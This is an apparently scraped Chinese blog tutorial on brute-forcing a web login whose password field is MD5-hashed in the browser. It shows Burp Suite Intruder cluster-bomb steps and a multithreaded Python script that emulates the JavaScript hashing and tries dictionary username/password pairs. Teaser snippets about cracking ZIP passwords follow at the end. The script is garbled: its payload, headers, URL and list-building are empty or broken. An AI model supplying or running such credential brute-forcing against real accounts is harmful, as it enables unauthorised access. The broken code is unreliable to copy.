Web暴力破解 前端JS表單加密進行爆破

2021-08-21 20:17:54 字數 2831 閱讀 3116

0x01 前言

常見的js實現加密的方式有:md5、base64、shal,寫了乙個簡單的demo作為測試。

0x02 **

login.html

提交表單,進行抓包,可以發現密碼字段密碼進行了加密處理:

0x03 web暴力猜解

方式一:burp suite

使用intruder進行暴力猜解,intruder支援多種爆破模式、加密和編碼支援。常見的md5、base64、shal加密方式,都可以用burpsuite直接處理。

四種爆破方式:單一字典爆破、多欄位相同字典爆破、多字典位置對應爆破、聚合式爆破。

最常用的應該是在爆破使用者名稱和密碼的時候,使用聚合方式列舉了。

1、抓包傳送到intruder,標記相關引數,選擇 第四種模式「cluster bomb」

2、分別選擇使用者名稱字典和密碼字典,在設定密碼字典的時候,選擇md5加密方式對密碼字段進行加密處理

3、開始進行爆破,根據返回字段長度判斷是否成功,成功獲取使用者名稱和密碼欄位的md5值   admin:21232f297a57a5a743894a0e4a801fc3

4、md5解密成功,獲得使用者名稱密碼 admin/admin

方式二:python指令碼

這邊採用python execjs來執行js語句模擬前端對賬號密碼進行加密

準備:pip install pyexecjs

編寫python指令碼進行爆破:

#! /usr/bin/env python

# _*_ coding:utf-8 _*_

import requests

import threadpool

from selenium import webdriver

import execjs

def getpass(str):

with open ('md5.js','r') as js:

source = js.read()

phantom = execjs.get('phantomjs')

getpass = phantom.compile(source)

password = getpass.call('hex_md5',str)

return password

def login(user,passwd):

url=""

payload =

headers=

try:

response = requests.post(url,data=payload,headers=headers,timeout=5)

result=response.content

if result.count('fail')<1:

print '[success] ' +url+":"+user+':'+passwd

except:

pass

def getlines(filename):

list=

with open(filename, 'r') as fd:

for line in fd.readlines():

line = line.strip()

if not len(line) or line.startswith('#'):

continue

return list

if __name__ == '__main__':

username_list=getlines('user.dict')

password_list=getlines('pass.dict')

userlist = [([user,passwd],none) for user in username_list for passwd in password_list]

pool = threadpool.threadpool(20)

reqs = threadpool.makerequests(login,userlist)

[pool.putrequest(req) for req in reqs]

pool.wait()

成功爆破使用者賬號密碼

從前台到後台是乙個質的突破,本文主要對很多web 在登陸的過程中會用 js 對密碼進行加密傳輸,梳理了一下web暴力猜解的技巧。

最後

js實現密碼加密

js實現表單提交submit(),onsubmit

對登入中賬號密碼進行加密之後再傳輸的爆破的思路和方式

Web安全之暴力破解

暴力破解,顧名思義簡單粗暴直接,我理解為將所有的 答案 都進行嘗試直到找到正確的 答案 當然我們不可能將所有的 答案 都進行嘗試,所以我們只能將所有最有可能是正確的 答案 進行嘗試即可 工具 burpsuite 平台 pikachu 首先開啟pikachu網頁中暴力破解的基於表單的暴力破解一欄。同時...

python暴力破解加密zip文件

由參加的乙個安全大賽來的。flag檔案在乙個加密的zip檔案裡面,金鑰為6 8位的數字。寫了個python指令碼進行暴力解壓縮。其中暴力破解的密碼生成採用itertools庫提供的函式來產生。即product函式,product函式為求迭代器的笛卡爾積。如下 list1 1,2,3 list2 a,...

暴力破解zip加密壓縮包

最近恰好有個壓縮包要解密,所以稍微研究了一下該怎麼去破解加密的壓縮包 zip,rar在道理上是一樣的 由於現有的方法中沒想到高階的破解方式,所以只有暴力破解壓縮包了。暴力破解壓縮包的原理很簡單,就是先製作乙個密碼字典,這個字典是暴力破解的核心,首先就來講講如何製作這樣乙個密碼字典,對於乙個加密壓縮包...